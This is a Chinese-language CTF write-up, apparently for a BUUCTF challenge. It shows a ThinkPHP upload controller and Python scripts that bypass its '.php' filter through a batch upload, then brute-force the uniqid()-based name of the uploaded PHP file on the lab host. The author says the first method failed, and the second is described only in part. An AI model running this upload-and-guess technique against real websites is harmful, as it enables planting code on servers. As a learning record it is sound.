<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;
if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}
$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
查看源码,发现是think PHP的文件上传,这里需要自己构造一个上传文件的代码,默认上传路径是/home/index/upload
import requests
url = 'http://52e6165a-9c21-4bb9-ac56-a7a4e7e88e84.node3.buuoj.cn/index.php/home/index/upload'
file1 = {'file':open('E:\\1.txt','r')}
file2 = {'file[]':open('E:\\1.php','r')}#upload()不传参时即是批量上传所以用[]
r = requests.post(url,files = file1)
print(r.text)
r = requests.post(url,files = file2)
print(r.text)
r = requests.post(url, files = file1)
print(r.text)
首先知道think PHP里的upload()函数在不传参的情况下是批量上传的,这里可以理解为防护机制只会检测一次,运用条件竞争,多次上传便可以绕过文件后缀的检测,至于为什么上传两次1.txt,是为了获取php文件的后缀,因为这里的后缀命名方式运用了uniqid函数,它是基于微秒的当前时间来更改文件名的
可以看到得到的字符串只有后三位不同,这就实现了爆破文件的可能性
第一种方法
使用上面的python代码后,得到路径,这里可以看到两个txt文件之间是有6位数的不同,接下来我们只要控制这六位数爆破文件名即可(关于为什么上面测试只有3位数的不同,个人认为是在批量爆破php的时候,时间误差增大)
import requests
str='0123456789abcdef'
for i in str:
for j in str:
for k in str:
for o in str:
for p in str:
url = "http://52e6165a-9c21-4bb9-ac56-a7a4e7e88e84.node3.buuoj.cn/Public/Uploads/2020-01-19/5e2464cd"+i+j+k+o+p+".php"
r = requests.get(url)
if r.status_code == 200:
print(url)
用python爆破不出来,理论上是可以的,但是会出现大量网页,明明已经限制了200,但还是出现404
这里不太懂,用第二个方法
第二种方法
成功上传了php文件,但是没有显示,我们需要爆破
注意这里我们爆破的是后三位,这就和前面uniqid函数测试结果对应了,看起来也比较合理,第一种方法暂时也算一个思路,但是没有复现成功